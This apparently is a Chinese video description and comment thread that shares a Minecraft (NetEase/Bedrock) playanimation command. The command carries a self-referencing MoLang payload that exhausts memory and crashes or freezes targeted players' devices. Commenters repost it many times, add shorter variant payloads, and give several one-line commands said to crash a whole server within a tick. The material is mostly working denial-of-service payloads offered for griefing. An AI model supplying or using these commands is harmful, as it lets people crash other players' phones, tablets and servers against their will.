Description
指令:playanimation @a[tag=ban](可修改,选中的人自动卡死) animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
原理推测:由于MoLang的v.变量跨帧持久存在且未被清空,代码每帧都将上一帧累积的完整结构体数据重新赋值给自身的子节点,导致数据量在上一帧的基础上呈指数级叠加增长,最终耗尽内存闪退
注意事项:经测试,机型不同,效果也不一定相同
ios秒闪退,安卓部分设备几秒后闪退,部分设备仅卡死短时间不会闪退
——————来自QQ频道 我的世界指令
侵权自删
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指令:playanimation @a【tag=ban】(可修改,选中的人自动卡死) animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom 原理推测:由于MoLang的v.变量跨帧持久存在且未被清空,代码每帧都将上一帧累积的完整结构体数据重新赋值给自身的子节点,导致数据量在上一帧的基础上呈指数级叠加增长,最终耗尽内存闪退 注意事项:经测试,机型不同,效果也不一定相同 ios秒闪退,安卓部分设备几秒后闪退,部分设备仅卡死短时间不会闪退 ——————来自QQ频道 我的世界指令 删
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【【全网首发】网易MC选择器踢人(闪退)-kick平替-哔哩哔哩】 https://b23.tv/rdzoRBO,原作者是这个吧
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方案2:嵌套结构体(约38字符) /playanimation @a animation.player.attack.positions "v.x={{v.x}}" 0 原理:双层嵌套结构体,{{ }} 在Molang中是合法的结构体嵌套
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animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
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我都能有指令的权限了还怕崩不了服
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/playanimation @a【tag=ban】 animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
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playanimation @a【tag=ban】 animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
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直接用了一下直接平板嗡的一声直接死机了,到了明天才好[大哭]
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播放一段动画仅自己可见,对吧?
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指令:playanimation @a【tag=ban】(可修改,选中的人自动卡死) animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
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都有防刷屏了
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/gametest create 崩 -114514 -114514 -114514直接用这个就能一秒崩服
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方案3:多字段自引用(约45字符) /playanimation @a animation.player.attack.positions "v.z={a:v.z,b:v.z,c:v.z}" 0 原理:创建3个字段同时自引用,每帧数据量翻3倍
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我自己被崩出去了,怎么其他人没事儿
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为什么说我@a语法错误?
playanimation @a【tag=ban】 animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
指令:playanimation @a【tag=ban】(可修改,选中的人自动死)animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom
指令:playanimation @a【tag=ban】(可修改,选中的人自动卡死) animation.player.attack.positions _ 0 "(!q.is_local_player)?{return0;};v.ZM.f1=1;v.ZM.f2=1;v.ZM.f3=1;v.ZM.f4=1;v.ZM.f5=1;v.ZM.f6=1;v.ZM.f7=1;v.ZM.f8=1;v.ZM.f9=1;v.ZM.f0=1;v.t=v.ZM;v.ZM.c1=v.t;v.ZM.c2=v.t;v.ZM.c3=v.t;v.ZM.c4=v.t;v.ZM.c5=v.t;v.ZM.c6=v.t;v.ZM.c7=v.t;v.ZM.c8=v.t;v.ZM.c9=v.t;v.ZM.c0=v.t;" boom 原理推测:由于MoLang的v.变量跨帧持久存在且未被清空,代码每帧都将上一帧累积的完整结构体,
/execute as @e at @e run execute positioned as @e runexecute as @e at @e run execute positioned as @e run summon pig 1tick崩服,专卡服务器